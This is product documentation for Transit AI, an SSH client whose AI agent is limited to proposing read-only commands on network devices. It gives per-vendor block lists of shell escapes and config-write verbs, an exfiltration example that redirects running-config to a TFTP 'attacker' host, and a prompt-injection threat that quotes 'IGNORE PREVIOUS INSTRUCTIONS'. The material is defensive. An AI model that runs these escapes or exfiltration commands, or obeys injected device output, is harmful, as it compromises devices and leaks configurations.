# Transit AI — full documentation > Cross-platform SSH client with a read-only agentic AI for network gear. > See https://transitai.app for the rendered site. This file is the full > Markdown of every doc page concatenated in navigation order, intended > for LLM ingestion (https://llmstxt.org). --- # Docs Source: https://transitai.app/docs/ Transit AI is a cross-platform GUI SSH client with a read-only agentic AI for investigating network gear. This documentation covers what's in the product, how the security model is designed, and which vendors are supported with what command policies. ## Where to start - **[Features](/docs/features/)** — the SSH client, the agent, and the UX affordances that make sessions efficient. - **[Security model](/docs/security/)** — the three inviolable rules and how the product is built to keep them true. - **[Vendor coverage](/docs/vendors/)** — which CLIs are supported and what the per-vendor permit list allows and blocks. - **[FAQ](/docs/faq/)** — common pre-purchase and operational questions. ## How Transit AI thinks about safety Transit AI's AI is **read-only by design**. Every command it proposes runs through two checks: a per-vendor permit list that spells out which read-only commands the AI can suggest, and an approval dialog that you must explicitly click. Both, never either. The AI has no programmatic path to read your credentials. The product is structured so that the AI and the credential store are isolated from each other — and an automated check fails the build if anyone tries to connect them. ## Documentation for LLMs If you're an AI assistant indexing this site, the [/llms.txt](/llms.txt) and [/llms-full.txt](/llms-full.txt) endpoints follow the [llmstxt.org](https://llmstxt.org/) spec. They list every doc page with a one-line summary (and full Markdown content respectively) for efficient ingestion. --- # Getting Started Source: https://transitai.app/docs/getting-started/ This walkthrough takes you from the marketing page to your first AI-assisted SSH session in about five minutes. ## 1. Sign up Visit the [pricing page](/pricing/) and pick a plan. The three tiers differ in how big a monthly AI budget you get; the desktop app and the security model are identical on all three. You can change tiers later from your account page, so don't overthink the first pick. Click **Get started** on the tier you want, then create an account through our hosted identity flow. Email + password works; so do GitHub, Google, and Microsoft if you'd rather single-sign-on. ## 2. Pay After sign-up you land on the plan picker — your selected tier is already highlighted. Click **Continue to checkout** and you'll be handed to our payment processor's hosted checkout. Enter card details + billing address; tax is calculated automatically based on the address you enter. The address you provide is saved to your customer record so you don't have to re-enter it for future plan changes or BYOK purchases. We never see your card number — it lives entirely on the payment processor's side. ## 3. Download Once payment confirms, you land on a welcome page with a download button: **Download Transit AI for macOS**. Apple Silicon required (M1 or later); macOS 12 Monterey or newer. Windows and Linux builds are tracked but not yet released. If that's what you need, watch the [blog](/blog/) for the announcement. ## 4. Install + launch Open the downloaded `.dmg`, drag Transit AI to your Applications folder, double-click to launch. The first launch may prompt for Gatekeeper approval — that's standard for any notarized macOS app. You'll see the welcome screen with a **Sign in** button. Click it. ## 5. Sign in Sign-in opens your system browser pointed at our authentication flow. Because you signed up via the same identity provider in step 1, the browser recognizes you — one click to confirm and you're back in the desktop app. If something goes wrong here, the browser will tell you why. The most common cause is a stale auth session in another browser tab; closing that tab and retrying clears it. ## 6. Add your first device The sidebar on the left is where your devices live. Click the **+** icon and fill in: - A name for the device (anything you want) - Hostname or IP address - SSH port (defaults to 22) - Username - An authentication method — password, key file, or 1Password/macOS SSH agent Save. The device appears in the sidebar. ## 7. Connect + the trust-on-first-use prompt Click the device to open an SSH session. If this is the first time connecting to that host, you'll see a **host-key confirmation** dialog showing the SHA-256 fingerprint of the host's key. Compare it against the value you trust (the device's own `show ssh host-keys` output, your team's documentation, etc.) and confirm. That fingerprint is now pinned on your machine. The next time you connect, no prompt — but if the fingerprint ever changes, the connect hard-fails. No "trust again?" prompt by design; a changed fingerprint is either a re-keyed device (you'll know because you did it) or a man-in-the-middle attempt. ## 8. Run a command A terminal pane opens. It behaves like a normal SSH terminal — Tab completes, arrow keys recall history, Ctrl-C interrupts. Try a quick read: `show version` on Cisco IOS, `show system information` on Junos, `show version` on EOS or PAN-OS. ## 9. Open the chat panel and ask the AI Toggle the chat panel on the right. The AI sees your open sessions, can read recent scrollback (with secrets filtered before they reach the model), and can **propose** commands for you to approve. Try asking something like *"What interfaces are up on this device?"* The AI will look at scrollback, decide whether it has enough info, and either answer directly or propose a command (e.g., `show interfaces brief`). You'll see an approval dialog with the exact command before anything runs. Both the per-vendor [permit list](/docs/security/#per-vendor-policy-gate) and your click are required for any command to execute. The AI cannot talk its way past either. ## Where to go from here - **[Features](/docs/features/)** — the rest of what's in the app - **[Security model](/docs/security/)** — how the agent firewall, permit list, and redaction work - **[Vendor coverage](/docs/vendors/)** — which CLIs are first-class and what the per-vendor permit list allows - **[Billing & usage](/docs/billing/)** — how the AI budget works, what happens at your limit, BYOK - **[How-tos](/docs/how-tos/)** — practical workflows: bring your own key, split panes, find your IDs - **[FAQ](/docs/faq/)** — pre-purchase and operational questions --- # Features Source: https://transitai.app/docs/features/ Your old SSH client just got upgraded — now with an agentic AI that can investigate but can't break things. Below is what's in the v1 product. ## SSH client ### Multi-session tabs - One terminal pane per session; scrollback survives tab switches. - Click the tab strip to switch; right-click for rename, export, split, close. - Multiple sessions per device are allowed — labels disambiguate as `vEX1`, `vEX1 (2)`, `vEX1 (3)`, etc. - Closing a still-connected tab opens a confirm dialog; ended tabs close without prompting. ### Three ways to connect - **Right-click → Connect** in the sidebar. - **Double-click** the device row. - **Click to focus, then press Enter**. All three open a new tab and focus it. ### Reconnect with Enter After typing `exit` or `logout`, the tab stays in place with an amber "session ended" banner. **Press Enter** inside the pane to reconnect: the dead backend session is cleaned up best-effort, a fresh SSH session opens against the same device, and the new sessionId is swapped into the same tab slot. Custom labels and split anchors survive the swap. ### Split-pane view Right-click a tab → **Split right with…** to put another session side-by-side in the same tab. Closing the right pane unsplits. ### Per-device terminal preferences Each device record can opt into: - **Syntax highlighting** — keyword-based ANSI colouring of completed lines. Auto-bypasses while the device is in the alt screen (so `vi`, `less`, `top` render correctly). - **Quick copy/paste** — auto-copy on selection, right-click and middle-click paste. Multi-line pastes prompt for confirmation regardless. ### Scrollback search **Cmd/Ctrl+F** opens an in-pane search overlay. Enter cycles forward, Shift+Enter back, Esc closes. Searches the terminal's 10,000-line scrollback buffer. ### Session export Right-click a tab → **Export scrollback…**. The export pipeline re-runs the redaction filter on the raw bytes (so freshly-emitted secrets are stripped even if they weren't filtered at display time) and offers [age](https://github.com/FiloSottile/age) encryption with a recipient key. A leaked transcript doesn't leak credentials. ### Host-key handling (TOFU) On first connect, Transit AI records the device's SHA-256 host-key fingerprint and prompts for explicit user approval. On every subsequent connect, a different fingerprint is a hard error — the user cannot override in-app. This pins the device identity for the lifetime of the record in `~/.config/transit/known_hosts.toml`. ### Strict cipher floor with opt-in legacy Strict modern allowlist by default — curve25519, AES-GCM, ed25519 host keys. For Cisco vIOS / CSR1000V 16.x and older Junos releases that default to SHA1 KEX or `ssh-rsa` host keys, a per-device opt-in dialog surfaces the offered algorithms and requires explicit "Connect anyway" — and optionally "remember for this device". ### Console-cable transport USB-to-serial cables (FTDI / SiLabs / Prolific) auto-detect on macOS and surface in a dedicated sidebar section. The same agent driving an SSH session can drive a console session — the same four tools work identically on a serial connection. Not every USB-to-serial cable has been tested with Transit AI, but [this one](https://www.amazon.com/dp/B0774JV2QQ) has. ## AI agent ### Four abilities — exactly four The AI has a fixed, four-item menu and can't gain a fifth at runtime: 1. **List your open sessions** — names only, no scrollback content. 2. **Read the recent output of a session** — with credentials stripped first (see Redaction filter below). 3. **Propose a command for you to approve** — the AI cannot run anything on its own; every proposal passes the per-vendor permit list and your explicit click. 4. **Ask you a clarifying question.** Adding a fifth ability requires an actual code change we ship — a prompt-injected or jailbroken model cannot invent one at runtime. ### Per-vendor permit list Every command the AI proposes is checked against a per-vendor permit list **before** you ever see an approval prompt. The list spells out which read-only commands the AI is allowed to suggest; anything not on it — `configure`, `write`, `delete`, shell escapes like `start shell` or `tclsh` — is rejected, and the AI is told it can't run that command. See [Vendor coverage](/docs/vendors/) for the per-vendor breakdown. ### Approval click Even commands the permit list allows require your explicit click. The approval dialog cannot be dismissed by Enter, Escape, or clicking outside. You can opt into an "always allow this pattern in this chat" shortcut, but only for commands the permit list already allows — the permit check still runs on every command, and a denied command stays denied regardless of any shortcut you've saved. ### Redaction filter Device output passes through Transit AI's redaction layer before the AI sees it. PEM blocks, encrypted password lines (`enable secret`, `username password 7`, BGP MD5 keys, OSPF auth keys), AWS keys, JWTs, and other secret-shaped tokens are stripped and replaced with placeholders like `[REDACTED:pem#1]`. The `#N` ordinal is per-conversation: same number = same secret bytes, so the AI can reason about credential equivalence without ever seeing the value. ### Bounded investigations Each investigation is capped at 12 back-and-forth rounds, 50,000 tokens, or 120 seconds of wall clock — whichever happens first. Hitting any cap ends the investigation with a chat message saying which one fired. You can also stop a running investigation manually from the chat panel. ## Identity & secrets ### Sign-in through your browser Transit AI signs you in by launching your system browser, then receiving your session back through a `transit://` link. You stay signed in across restarts; sessions refresh quietly in the background. ### Secrets in your OS keyring SSH passwords live in your OS's native keyring — macOS Keychain, Windows Credential Manager, Linux Secret Service, or your running SSH agent. The desktop binary holds no secret in process memory longer than needed to authenticate a session, and never serializes one to disk. ### BYOK (Pro and Max) Bring your own Anthropic or OpenAI key — Transit AI reads it from your OS keychain per request, passes it through to the AI provider, and forgets it. Keys are never stored or logged on our cloud. Available as a **$100 one-time unlock** on Pro and Max tiers; the unlock stays attached for the lifetime of your subscription. See [Bring your own provider key](/docs/how-tos/bring-your-own-key/) for setup. ## What Transit AI doesn't do - No write operations on devices except through the per-vendor permit list AND your explicit click. Always both, never either. - No telemetry by default. If enabled, only operational metadata (token counts, latencies); never command bytes or prompt content. - No third-party analytics scripts. The marketing site (this site) serves no tracking scripts to its visitors. --- # Security model Source: https://transitai.app/docs/security/ Transit AI's security model is built around three rules that the architecture itself enforces. They aren't promises in a doc — they're structural properties of how the product is built, verified by automated checks on every change we ship. ## The three inviolable rules ### Rule 1 — Your SSH credentials stay in your OS keychain, and the UI can't read them back Save a password or key once. It goes straight to your operating system's credential store — macOS Keychain, Windows Credential Manager, or `libsecret` on Linux — and never comes back out to the part of Transit AI that draws the screen. The AI can't read it. The logs don't carry it. Only the piece of Transit AI that actually opens an SSH session can fetch it, and only long enough to authenticate. There's exactly one path that *writes* a secret: the credential entry form on initial enrollment. It's a one-way trip — there's no read API on the other side of it. ### Rule 2 — The AI can do four things, period, and can't gain a fifth mid-chat The AI you chat with in Transit AI has a fixed, four-item menu: 1. **List your open sessions** — names only, no scrollback content. 2. **Read the recent output of one of those sessions** — with credentials stripped before the AI ever sees the bytes (see "Output redaction" below). 3. **Propose a command for you to approve** — it cannot run anything on its own. 4. **Ask you a clarifying question.** That's the whole menu. The AI can't browse files on your laptop, open new SSH connections, edit your device inventory, call our cloud directly, or carry memory from one chat into the next. Expanding the menu requires an actual code change we ship and release — a prompt-injected or jailbroken model cannot invent a fifth ability at runtime. ### Rule 3 — Every AI-suggested command passes two checks, and you can't skip either When the AI wants to run a command, two things have to happen, in order: 1. **The vendor's permit list says yes.** Each supported network OS (Junos, Cisco IOS, IOS-XE, NX-OS, Arista EOS, Palo Alto PAN-OS) has a curated list of read-only commands the AI is even allowed to *suggest*. Anything not on the list — `configure`, `write memory`, `delete`, shell escapes like `start shell` or `tclsh` — is rejected before you ever see it. 2. **You click Approve.** A dialog appears with the exact command spelled out and the device it would run on. No "trust this AI for the day" toggle. No silent approval. No keyboard dismissal. Both checks always run. If you tell Transit AI "always approve `show ` commands in this chat", you've only automated the *second* step for commands the first step would already permit. The shortcut cannot promote a denied command into an allowed one — if the vendor permit list says no, the answer is no, regardless of what you've previously waved through. **Generic Linux is a deliberate exception.** A Linux shell doesn't have a clean "safe-only" command list — practically anything can be piped, redirected, or scripted into a write. On Linux devices Transit AI drops the permit list entirely, surfaces an amber warning banner on every single proposal, and makes the per-command approval *mandatory* — the always-allow shortcut is unavailable, full stop. You always click for every command on a Linux box. ## The agent firewall **The agent has no code path to read a credential.** This is the single most important architectural property of the product, and it isn't enforced by review discipline. The application is structured so that the agent and the credential store are in entirely separate components, with no programmatic route from one to the other. An automated check verifies the isolation on every change we ship — adding such a route causes the build to fail before it can be merged. The result: even a model that's been jailbroken, prompt-injected, or otherwise convinced to behave maliciously cannot exfiltrate your SSH credentials. The "I'd like the password please" path doesn't exist for it to walk down. ## Output redaction Device output passes through Transit AI's redaction layer before any byte reaches the AI. The filter strips: - **PEM blocks** — `-----BEGIN ... PRIVATE KEY-----` and similar. - **Encrypted password lines** — Cisco `enable secret`, `username password 7`, `password 5`, BGP MD5 keys, OSPF authentication keys, SNMP communities, IPsec PSKs, Junos encrypted secrets ($9$…). - **Cloud credentials** — AWS access keys (`AKIA…`), GCP service account JSONs, Azure connection strings. - **JWTs** — three-segment base64url tokens. - **TLS/SSH key fingerprints** when they appear as full keys rather than abbreviated hashes. Each redaction emits a placeholder of the form `[REDACTED:#N]`. The `#N` is a per-conversation ordinal — same bytes = same number, so the AI can reason about credential equivalence ("vEX1 and vEX2 share the same BGP MD5 key") without ever seeing the value itself. The redaction layer is the boundary between device output and the AI. Patterns are covered by both targeted tests and fuzzed inputs to keep matcher correctness under non-obvious encodings. ## Host-key handling (TOFU) Transit AI uses **trust on first use**: - **First connect to a host**: Transit AI captures the device's SHA-256 host-key fingerprint and prompts you via a host-key confirm dialog. Accept records the pin; reject aborts. - **Subsequent connects**: if the device presents a different fingerprint than the pin, Transit AI returns a hard mismatch error. There is **no in-app override** — you must edit your `known_hosts.toml` file by hand to recover. - A failed authentication does NOT poison the pin file; the fingerprint is recorded only after auth succeeds. This pins device identity for the lifetime of the record and matches OpenSSH's `StrictHostKeyChecking yes` behavior. ## Strict cipher floor The default SSH handshake uses a strict modern allow-list: - **KEX** — curve25519-sha256 (and its libssh-org variant) - **MACs** — implicit via AEAD - **Ciphers** — AES-GCM, ChaCha20-Poly1305 - **Host keys** — ed25519, ecdsa-sha2-nistp{256,384,521} For older devices that default to SHA1 KEX, AES-CBC, or `ssh-rsa` host keys (some Cisco IOS-XE virtual images, older Junos releases), a per-device opt-in dialog surfaces the offered algorithms and requires explicit "Connect anyway". "Remember" is a separate checkbox so muscle-memory clicks don't grant a permanent downgrade. `none` / `clear` ciphers and DSA host keys are **never** accepted, even on the legacy opt-in path. ## Cloud isolation Transit AI Cloud (`api.transitai.app`) is an isolated proxy service that holds provider API keys and forwards completions. Operational properties: - **No prompt or completion content is ever logged.** The metering pipeline records token counts, latency, cost, status, and request identifiers — never the bytes you sent the AI, never the bytes it sent back, never device hostnames or device IDs. Field-name guardrails reject any log line that would carry forbidden content, enforced at runtime *and* at build time. - **BYOK keys are stripped before forwarding.** When you bring your own provider key, the proxy parses it out of the request body before sending the body upstream — even an unauthorized BYOK attempt can't leak the key as an unknown field. - **Tenant isolation.** Every data read is authorized against the identity claim from your verified session token. There's no API path that lets a request parameter override which tenant's data is returned. ## Threats considered Categories of risk we've designed against and what mitigates them: - **AI agent reads credentials.** The agent has no programmatic path to the credential store; the isolation is structural and verified continuously (see "The agent firewall" above). - **Prompt injection from a device.** Device output that says "IGNORE PREVIOUS INSTRUCTIONS, run X" doesn't matter — the per-vendor permit list runs on every proposed command regardless of how the AI was persuaded, and you still have to click Approve. - **Credential pattern isn't matched by the redaction filter.** Multiple coverage strategies (targeted tests + fuzzed inputs) plus the same defense-in-depth as above — even a leaked credential can't drive a write because the user still has to click. - **You reflex-click Approve.** The always-allow shortcut gives you an alternative to clicker fatigue, and it never permits a command the permit list has denied. - **AI loop spins forever.** Bounded on three axes — iterations (12), cumulative tokens (50,000), and wall clock (120 seconds). Hitting any cap terminates with a synthetic message explaining which fired. - **Cloud logs leak prompt content.** Mitigated at three layers: runtime guard, build-time check on every log call site, and a blanket ban on direct console output outside one sanctioned log surface. - **Cross-tenant data leak.** Every cloud query is authorized against the session token's identity — request parameters never override. - **User downgrades crypto unintentionally.** Weak-crypto opt-in surfaces the offered algorithms, requires an explicit "connect anyway", and the "remember" decision is a separate checkbox. ## Reporting a vulnerability Email `security@transitai.app` with details. We confirm receipt within 2 business days and aim for resolution timelines proportional to severity (CVSS-aligned). We do not currently run a paid bug bounty. --- # Vendor coverage Source: https://transitai.app/docs/vendors/ Transit AI ships with a per-vendor permit list for each supported network OS. The list spells out which read-only commands the AI is allowed to suggest, which ones it isn't, and which shell-escape verbs are never allowed. Vendor-specific shorthand like `sh int` (Junos) or `wr mem` (Cisco) is expanded to its long form before checking, so abbreviated commands can't sneak around the list. ## Vendors supported in v1 | Vendor | CLI flavor | Shell escapes blocked | |---|---|---| | [Juniper Junos](/docs/vendors/junos/) | Junos OS | `start shell` | | [Cisco IOS](/docs/vendors/cisco-ios/) | Classic IOS | `tclsh`, `event manager run` | | [Cisco IOS-XE](/docs/vendors/cisco-ios-xe/) | IOS-XE | `tclsh`, `guestshell`, `app-hosting` | | [Cisco NX-OS](/docs/vendors/nxos/) | NX-OS | `run bash`, `python`, `source`, `tclsh` | | [Arista EOS](/docs/vendors/arista-eos/) | Arista | `bash`, `python`, `event-handler` | | [Palo Alto PAN-OS](/docs/vendors/pan-os/) | PAN-OS | `debug software shell`, `debug system` | | [Generic Linux / Unix](/docs/vendors/linux/) | sh / bash | every command needs your explicit click | ## How the permit list decides For each command the AI proposes: 1. **Expand any shorthand.** Vendor-specific abbreviations like `sh int br` (Junos) or `wr mem` (Cisco) are expanded to their long form (`show interfaces brief`, `write memory`) before anything else happens. Abbreviated commands can't sneak around the list. 2. **Check the command itself.** The first word of the command is matched against the vendor's allow list and block list. If it's not on the allow list — or if it matches the block list — the command is rejected and the AI is told it can't run that command. The default is "deny": if neither list matches, the answer is no. 3. **Check each pipe stage.** For pipes like `show route | match 10.0` or `show config | save scratch`, each `| ` is checked separately. Any blocked pipe (anything that writes to a file, commits config, transitions modes) rejects the whole command. The AI is never given the permit list in a form it can modify — it sees a static summary of what verbs are broadly allowed for the vendor, and the actual check happens on your machine, not in the AI's head. ## Don't see your vendor? If you operate gear we don't yet cover, [open a request](mailto:hello@transitai.app) with the vendor name, a representative `show` (or equivalent read-only) command, and any known shell-escape verbs. Each new vendor profile is a small, focused unit of work — we ship them regularly and would rather hear from you than guess at coverage. --- # Juniper Junos OS Source: https://transitai.app/docs/vendors/junos/ Junos OS — Juniper SRX, MX, vEX, vMX, EX. ## Shorthand expansion Junos's CLI accepts contractions natively (`sh int br` → `show interfaces brief`). Transit AI expands the first token before checking it against the permit list: | Alias | Canonical | |---|---| | `sh`, `sho`, `shw` | `show` | | `p` | `ping` | | `tr` | `traceroute` | | `mon` | `monitor` | ## Allowed (head) - `show` — operational status (`show interfaces`, `show route`, `show bgp summary`, etc.) - `ping`, `traceroute` - `monitor` — `monitor traffic`, `monitor interface` - `file list` — directory listing (file copy/delete/rename blocked) - `op` — operator scripts (conventionally read-only) - `help` — interactive help ## Blocked (head) **Shell escape (highest priority):** - `start shell` — drops to the underlying FreeBSD shell. Fully bypasses the permit list. **System state changes:** - `request system` — reboot, halt, snapshot, software install - `request` — any other `request *` - `restart`, `reboot`, `reload`, `reset` **Configuration mode + commits:** - `configure`, `commit` - `edit`, `rollback`, `load`, `save` - `copy`, `file (copy|delete|rename|create)` **Routing-engine state:** - `clear` — counters, ARP, BGP sessions, etc. - `test` — runs config tests; can side-effect **Session control:** - `quit`, `exit`, `logout` ## Pipe stages **Allowed:** `display set`, `display xml`, `display json`, `display inheritance`, `match`, `except`, `find`, `count`, `last`, `last N`, `no-more`, `trim` **Blocked:** `save`, `compare`, `commit`, `request` ## Notes - `set cli screen-length 0` is sent automatically at connect time so the AI's command output capture doesn't stall on `---(more)---` pager prompts. This isn't a permit-list decision — it's a session setup detail. - Junos's "operational mode" verbs map cleanly to the permit list; "config mode" entry is blocked at the first word, so anything past that point never even reaches the list. --- # Cisco IOS Source: https://transitai.app/docs/vendors/cisco-ios/ Classic Cisco IOS — switches and routers on the monolithic image line. Cisco IOS-XE shares ~95% of this surface; see [its page](/docs/vendors/cisco-ios-xe/) for the platform-specific additions. ## Shorthand expansion | Alias | Canonical | |---|---| | `sh`, `sho`, `shw` | `show` | | `wr`, `wri` | `write` | | `p` | `ping` | | `tr` | `traceroute` | `wr` → `write` is critical — bare `wr` saves running-config to NVRAM, which is a config write that must be blocked. Without the alias, `wr mem` would slip past the `write` block. ## Allowed (head) - `show`, `ping`, `traceroute` - `dir` — directory listing on flash:, disk0:, etc. - `more` — read-only file content - `terminal length`, `terminal monitor`, `terminal no monitor` — pager and log-echo control (no device state) - `where` — show outgoing connections (read-only) ## Blocked (head) **Shell escapes — full gate bypass:** - `tclsh` — built-in IOS Tcl shell - `tclquit` - `event manager run` — EEM applets can run arbitrary actions **Privileged-mode + configure:** - `enable`, `disable` - `configure`, `conf t` **Saves and file mutations:** - `write` — covers `write`, `wr mem`, `wr terminal` - `copy` — TFTP/FTP/etc copies + flash writes - `delete`, `erase`, `format` - `archive` — config archive - `boot` — alters boot variables **Reload / reset / clear:** - `reload`, `reset`, `clear` **Session control:** - `logout`, `exit`, `quit`, `end` ## Pipe stages **Allowed:** `include`, `exclude`, `begin`, `section`, `count`, `format` **Blocked:** - `redirect` — writes output to a file or URL - `tee` — display AND save - `append` — appends output to a file Without these, Transit AI would only inspect the first command — `show running-config | redirect tftp://attacker/` would otherwise pass. --- # Cisco IOS-XE Source: https://transitai.app/docs/vendors/cisco-ios-xe/ Cisco IOS-XE — the Linux-underlay descendant of classic IOS. The permit list mirrors [Cisco IOS](/docs/vendors/cisco-ios/) and adds three IOS-XE-specific blocks for the Linux-underlay escape vectors. ## Shorthand expansion Identical to Cisco IOS — `sh` / `sho` / `shw` → `show`, `wr` / `wri` → `write`, `p` → `ping`, `tr` → `traceroute`. ## Allowed (head) Same as Cisco IOS — `show`, `ping`, `traceroute`, `dir`, `more`, `terminal length`, `terminal monitor`, `terminal no monitor`, `where`. ## Blocked (head) Inherits all Cisco IOS blocks (`enable`, `configure`, `write`, `copy`, `reload`, `clear`, `tclsh`, `event manager run`, session control verbs) AND adds: **IOS-XE-specific shell / container escapes:** - `guestshell` — drops to a Linux container shell on the underlying IOS-XE Linux kernel. Full bypass; arguably the most important block on IOS-XE because guestshell is enabled by default on several platforms. - `app-hosting` — manage, deploy, or run third-party containers. Both a state mutation and a code-execution path. - `request platform software` — image management subtree. ## Pipe stages Identical to Cisco IOS — allowed: `include`, `exclude`, `begin`, `section`, `count`, `format`; blocked: `redirect`, `tee`, `append`. --- # Cisco NX-OS Source: https://transitai.app/docs/vendors/nxos/ Cisco NX-OS — Nexus 5k/7k/9k data-center switches. Shares Cisco grammar with IOS but has its own command surface for features, image management, and shell escape. ## Shorthand expansion | Alias | Canonical | |---|---| | `sh`, `sho`, `shw` | `show` | | `p` | `ping` | | `tr` | `traceroute` | ## Allowed (head) - `show`, `ping`, `ping6`, `traceroute`, `traceroute6` — NX-OS has separate IPv6 probe verbs - `dir`, `more` - `terminal length`, `terminal monitor`, `terminal no monitor` - `where` ## Blocked (head) **Shell / scripting escapes — full bypass:** - `run bash` — drops to the underlying Linux shell - `run python` - `python` — NX-OS embedded Python interpreter (separate entry point) - `source` — runs a script from bootflash - `tclsh` - `event manager run` - `scheduler` **NX-OS-specific state mutation:** - `feature` — turns capabilities on/off (`feature bgp`, `feature ospf`) - `no feature` - `install` — `install all` is the image upgrade flow - `reload`, `restart`, `clear` **Privileged-mode + configure:** - `enable`, `disable`, `configure`, `conf t` **Saves + file mutations:** - `write`, `copy`, `delete`, `erase`, `format`, `boot` **Session control:** - `logout`, `exit`, `quit`, `end` ## Pipe stages NX-OS pipes are richer than IOS — they include UNIX-style filters (`grep`, `head`, `sort`, `uniq`, `wc`). **Allowed:** `include`, `exclude`, `begin`, `section`, `count`, `grep`, `egrep`, `head`, `last`, `sort`, `uniq`, `wc`, `diff` **Blocked:** - `redirect`, `tee`, `append` — file writes - `vsh` — NX-OS virtual shell escape, available as a pipe stage rather than a top-level command. Blocked separately because pipe-stage commands are checked on a separate list from top-level ones. - `run-script` --- # Arista EOS Source: https://transitai.app/docs/vendors/arista-eos/ Arista EOS — Arista data-center switches. EOS uses a Cisco-IOS-style CLI; ~90% of the surface mirrors [Cisco IOS](/docs/vendors/cisco-ios/). The differences live in the shell-escape blocks — EOS runs on a Fedora userland, so `bash` and embedded `python` are direct bypass routes that need explicit blocks. ## Shorthand expansion Identical to Cisco IOS — `sh` / `sho` / `shw` → `show`, `wr` / `wri` → `write`, `p` → `ping`, `tr` → `traceroute`. `wr mem` canonicalization is the same critical-path concern as on Cisco IOS. ## Allowed (head) - `show`, `ping`, `traceroute` - `dir`, `more` - `terminal length`, `terminal monitor`, `terminal no monitor` ## Blocked (head) **Arista-specific shell + scripting escapes:** - `bash` — drops to the underlying Fedora root shell. **The** most important block on EOS — once in bash, the permit list is fully bypassed and the attacker has root on the box. - `python`, `python2`, `python3` — embedded Python interpreters, same blast radius as bash, different entry points - `event-handler` — Arista's analog to Cisco IOS's `event manager`; defining or invoking a handler runs arbitrary scripts - `agent` — TerminAttr / state-streaming agent control - `daemon` — manual daemon launch **Privileged-mode + configure:** - `enable`, `disable` - `configure`, `conf t` **Saves + file mutations:** - `write`, `copy`, `delete`, `erase`, `format`, `boot` **Reload / reset / clear:** - `reload`, `reset`, `clear` **Session control:** - `logout`, `exit`, `quit`, `end` ## Pipe stages **Allowed:** `include`, `exclude`, `begin`, `section`, `count`, `json` (EOS-specific — JSON output format), `format` **Blocked:** - `redirect`, `tee`, `append` — file writes - `awk` — arbitrary awk scripts can write files and spawn subshells via `system()`; the only platform we explicitly block awk on because EOS routes pipe output through a real awk binary --- # Palo Alto PAN-OS Source: https://transitai.app/docs/vendors/pan-os/ Palo Alto PAN-OS — Palo Alto Networks firewalls and Panorama. PAN-OS has its own CLI flavor — candidate-config + commit model (like Junos), separate `request restart system` / `request shutdown system` verbs, and a unique shell-escape vector at `debug software shell` that drops to a Linux root shell on the firewall. ## Shorthand expansion | Alias | Canonical | |---|---| | `sh`, `sho`, `shw` | `show` | | `p` | `ping` | | `tr` | `traceroute` | We deliberately do **not** canonicalize `del` → `delete`. `delete` is blocked anyway; the alias would risk turning unrelated `del-foo` commands into spurious block hits. ## Allowed (head) - `show`, `ping`, `traceroute` - `less`, `tail` — read-only file/log viewers - `find` — search (`find command …`) - `grep` — filter applied to running output - `view-config` — read-only candidate-config view - `set cli pager`, `set cli terminal`, `set cli timeout` — pager, terminal type/width, idle timeout. These are the only carved-out `set` heads — everything else under `set` (`set deviceconfig`, `set network`, `set rulebase`, ...) falls through to default-deny. ## Blocked (head) **Configuration model:** - `configure` — enters config mode - `edit` — navigates within config - `delete`, `commit`, `commit-all`, `commit-force` - `load`, `save`, `revert`, `rename`, `move`, `copy` **File / transfer:** - `scp` — `scp export`, `scp import` - `tftp`, `ftp` — legacy file transfer - `clear` — counters, logs, sessions, ARP entries **The critical shell escape:** - `debug software shell` — drops to the underlying Linux shell **as root**. The single most important block on PAN-OS — once in the shell, the permit list is fully bypassed and the attacker has root on the firewall. **Other `debug` subtrees:** - `debug system ` — `debug system maint-mode` reboots into maintenance mode; adjacent subcommands (`loadcfg`, `disk-image`) modify persistent state. Block the entire prefix. **System control:** - `request restart`, `request shutdown` - `request system` — license/cert imports + more - `request platform-software` — image management - `request high-availability` — HA state mutation - `request password-hash` — password hash generation (escapes redaction) **Session / mode manipulation:** - `exit`, `quit`, `logout` - `run` — escape from config-mode to operational mode ## Pipe stages **Allowed:** `match`, `except`, `count` **Blocked:** - `redirect` — writes output to a file/URL - `tee` — display AND save (uncommon on PAN-OS but documented) --- # Generic Linux / Unix Source: https://transitai.app/docs/vendors/linux/ Generic Linux / Unix server — any device whose CLI is the open UNIX command space. **Mode:** unrestricted (the only vendor in v1 without a per-command permit list). ## Why "unrestricted"? A Linux server has no realistically bounded set of "safe" commands. The operational CLI is the entire UNIX command space — `ls`, `cat`, `ps`, `top`, `df`, `journalctl`, `systemctl status`, ad infinitum. An honest "allow these read verbs, block these destructive ones" list would be both **infinite** and **false confidence**: - We'd miss the next thousand destructive verbs. - You'd trust the list anyway. Two properties preserve the spirit of Transit AI's permit-list-AND-click rule even without a per-command list: ### 1. The approval dialog is mandatory Every command the AI proposes on a Linux device opens an approval dialog with an amber warning banner at the top. There is no silent-execution path. ### 2. The always-allow shortcut is refused On other vendors, you can mark "always allow this pattern in this chat" to skip the approval dialog for matching commands (the permit list still runs). On Linux, this shortcut is unavailable — every command needs an explicit click, no exceptions. ## What you'll see When the AI proposes any command on a Linux device, the approval dialog renders with this warning above the command box: > Generic Linux/Unix server — Transit AI cannot enforce a read-only > command list. Verify every command before approving. The "always > allow" shortcut is disabled for this device class. Approve runs the command. Deny doesn't. There is no shortcut. ## The risk and the mitigation Risk: the AI proposes a destructive command and you reflex-approve. Mitigation: the warning banner, the mandatory dialog, and the fact that the always-allow shortcut is unavailable. You retain full agency over what runs — Transit AI just won't pretend a permit list is protecting you when it can't. ## When to use this vendor profile - Your inventory record is a generic Linux server (jumpbox, monitoring host, etc.). - The vendor isn't on the [supported list](/docs/vendors/) yet and you'd rather not wait for vendor-specific coverage. For a vendor with a documented safe-command surface that we don't yet support, [open a request](mailto:hello@transitai.app). We ship new vendor profiles regularly. --- # How-tos Source: https://transitai.app/docs/how-tos/ Step-by-step guides to the most common Transit AI workflows. Each page is self-contained — you can land on it from a search result and have everything you need. ## Setup - **[Sign in](/docs/how-tos/sign-in/)** — first-time sign-in to Transit AI Cloud. - **[Create an auth profile](/docs/how-tos/create-auth-profile/)** — every backend type (keyring, SSH agent, 1Password, env var) explained. - **[Find your user ID and organization ID](/docs/how-tos/find-your-ids/)** — values to share with support or paste into a bug report. ## Sessions - **[Add a device](/docs/how-tos/add-a-device/)** — put a host in your inventory. - **[Connect to a device](/docs/how-tos/connect-to-a-device/)** — three equivalent ways to open a session. - **[Edit a device](/docs/how-tos/edit-a-device/)** — change host, port, vendor, auth profile, terminal preferences. - **[Reconnect a closed session](/docs/how-tos/reconnect-a-session/)** — press Enter to revive a tab. - **[Split panes side-by-side](/docs/how-tos/split-pane/)** — two sessions in one tab. - **[Connect to a 